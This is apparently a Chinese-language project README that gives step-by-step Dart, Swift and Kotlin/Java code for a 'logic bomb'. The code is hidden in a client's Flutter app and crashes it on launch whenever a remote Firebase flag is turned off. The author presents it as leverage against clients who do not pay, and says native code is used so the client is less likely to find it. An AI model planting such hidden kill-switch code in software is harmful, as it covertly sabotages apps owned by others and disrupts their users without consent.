逻辑炸弹

使用 Firebase 或 REST API 控制应用程序崩溃(Dart, Kotlin 和 Swift)。

你辛勤工作却没拿到报酬的次数有多少?

这段代码是为了保护我自己免受客户的侵害。客户可能会找你完成一个项目,当你将应用程序上传到商店后,他就会消失并且不付钱。

请勿滥用此代码。

对于任何滥用此代码的行为,本人概不负责。

代码是用

  • Dart

  • Swift

  • Kotlin

我用原生语言编写,这样如果客户拿到源代码,代码会更难被发现。

实现时间

Dart

在你的主文件中导入

import 'package:dio/dio.dart';
import 'dart:io';

在主文件中粘贴此函数

void plant() async {
  try {
    final result = await Dio().get('$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json');
    final data = result.data;
    if (Platform.isAndroid && !data['android']) {
      throw Exception();
    } else if (Platform.isIOS && !data['ios']) {
      throw Exception();
    }
  } catch (_) {
    exit(0);
  }
}

在 main 函数中埋下你的炸弹

void main() {
  plant();
  runApp(MyApp());
}

Swift

iOS -> Runner -> AppDelegate.swift 然后粘贴此代码

import UIKit
import Flutter

@UIApplicationMain
@objc class AppDelegate: FlutterAppDelegate {
 override func application(
   _ application: UIApplication,
   didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
 ) -> Bool {
   GeneratedPluginRegistrant.register(with: self)
   plant()
   return super.application(application, didFinishLaunchingWithOptions: launchOptions)
 }

 func plant() {
         let api = "$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json"
         let url = URL(string: api)!
         do {
             let data = try Data(contentsOf: url)
             let json = try JSONSerialization.jsonObject(with: data) as! [String:Any]
             if (json["ios"] as! Int == 0) {
                  fatalError()
             }
         } catch {
             fatalError()
         }
     }

}

Android

在 Android -> app -> src -> main -> AndroidManifest.xml 中添加 Internet 权限

    <uses-permission android:name="android.permission.INTERNET" />

然后转到 Android -> app -> src -> main -> kotlin,在 MainActivity 旁边创建一个名为 Bomb 的 JavaClass 并将此代码粘贴进去

package $HERE_IS_YOUR_APP_PACKAGE_NAME;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;

public class Bomb {

    void plant() throws IOException {
        Thread thread = new Thread(new Runnable() {

            @Override
            public void run() {
                try {
                    URL url = new URL("$HERE_IS_YOUR_FIREBASE_PROJECT_LINK/app.json");
                    HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
                    urlConnection.setRequestMethod("GET");
                    BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
                    StringBuffer sb = new StringBuffer();
                    String line;
                    while ((line = in.readLine()) != null) {
                        sb.append(line);
                    }
                    in.close();
                    if (sb.toString().contains("\"android\":false")) {
                        throw new RuntimeException("");
                    }
                } catch (Exception e) {
                    throw new RuntimeException("");
                }
            }
        });

        thread.start();
    }

}

并在 MainActivity 文件中粘贴此代码

package $HERE_IS_YOUR_APP_PACKAGE_NAME

import io.flutter.embedding.android.FlutterActivity
import io.flutter.embedding.engine.FlutterEngine

class MainActivity: FlutterActivity() {
    override fun configureFlutterEngine(flutterEngine: FlutterEngine) {
        super.configureFlutterEngine(flutterEngine)
        Bomb().plant()
    }

}

Firebase 设置

要获取你的 Firebase 项目链接,请遵循这些截图,不要遗漏任何步骤,否则将不起作用。

1

2

3

4

5

6

7

8

示例

https://logic-bomb-896dd-default-rtdb.firebaseio.com/app.json

GitHub

查看 Github